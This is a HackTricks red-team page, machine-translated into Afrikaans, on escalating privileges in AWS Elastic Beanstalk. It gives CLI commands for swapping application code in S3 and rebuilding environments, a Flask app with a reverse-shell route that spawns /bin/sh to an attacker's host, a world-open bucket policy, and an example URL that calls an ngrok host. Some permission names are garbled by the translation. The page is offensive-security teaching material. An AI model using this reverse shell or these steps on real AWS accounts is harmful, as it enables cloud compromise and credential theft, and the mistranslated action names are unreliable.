AWS - Elastic Beanstalk Privesc

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Elastic Beanstalk

Meer inligting oor Elastic Beanstalk in:

pageAWS - Elastic Beanstalk Enum

Om sensitiewe aksies in Beanstalk uit te voer, sal jy 'n baie sensitiewe toestemmings in baie verskillende dienste nodig hê. Jy kan byvoorbeeld die toestemmings wat aan arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk gegee is, nagaan.

elasticbeanstalk:RebuildEnvironment, S3 skryftoestemmings & baie ander

Met skryftoestemmings oor die S3-emmer wat die kode van die omgewing bevat en toestemmings om die toepassing te herbou (dit is nodig elasticbeanstalk:RebuildEnvironment en 'n paar meer verwante aan S3, EC2 en Cloudformation), kan jy die kode wysig, die toepassing herbou en die volgende keer as jy die toepassing toegang gee, sal dit jou nuwe kode uitvoer, wat die aanvaller in staat stel om die toepassing en die IAM rolgelde van dit te kompromiteer.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, en meer...

Die genoemde plus verskeie S3, EC2, cloudformation ,autoscaling en elasticloadbalancing toestemmings is nodig om 'n rou Elastiese Beanstalk scenario van die begin af te skep.

  • Skep 'n AWS Elastiese Beanstalk aansoek:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Indien 'n omgewing reeds geskep is en jy nie 'n nuwe een wil skep nie, kan jy net die bestaande een opdateer.

  • Verpak jou aansoek-kode en afhanklikhede in 'n ZIP-lêer:

zip -r MyApp.zip .
  • Laai die ZIP-lêer na 'n S3-emmer op:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Skep 'n AWS Elastic Beanstalk aansoek weergawe:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Implementeer die aansoek weergawe na jou AWS Elastiese Boonsteek omgewing:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:SkepAansoekWeergawe, elasticbeanstalk:WerkOmgewingBy, cloudformation:KrySjabloon, cloudformation:BeskryfStapelHulpbronne, cloudformation:BeskryfStapelHulpbron, autoscaling:BeskryfAutoScalingGroep, autoscaling:StelProsesOpSkorsing, autoscaling:StelProsesOpSkorsing

Eerstens moet jy 'n wettige Beanstalk-omgewing skep met die kode wat jy wil hardloop in die slagoffer deur die vorige stappe te volg. Moontlik 'n eenvoudige zip wat hierdie 2 lêers bevat:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Sodra jy jou eie Beanstalk-omgewing laat loop met jou rev shell, is dit tyd om dit na die slagoffer se omgewing te migreer. Om dit te doen, moet jy die Bucket-beleid opdateer van jou Beanstalk S3-bucket sodat die slagoffer daartoe toegang kan verkry (Let wel dat dit die Bucket vir ALMAL sal oopmaak):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated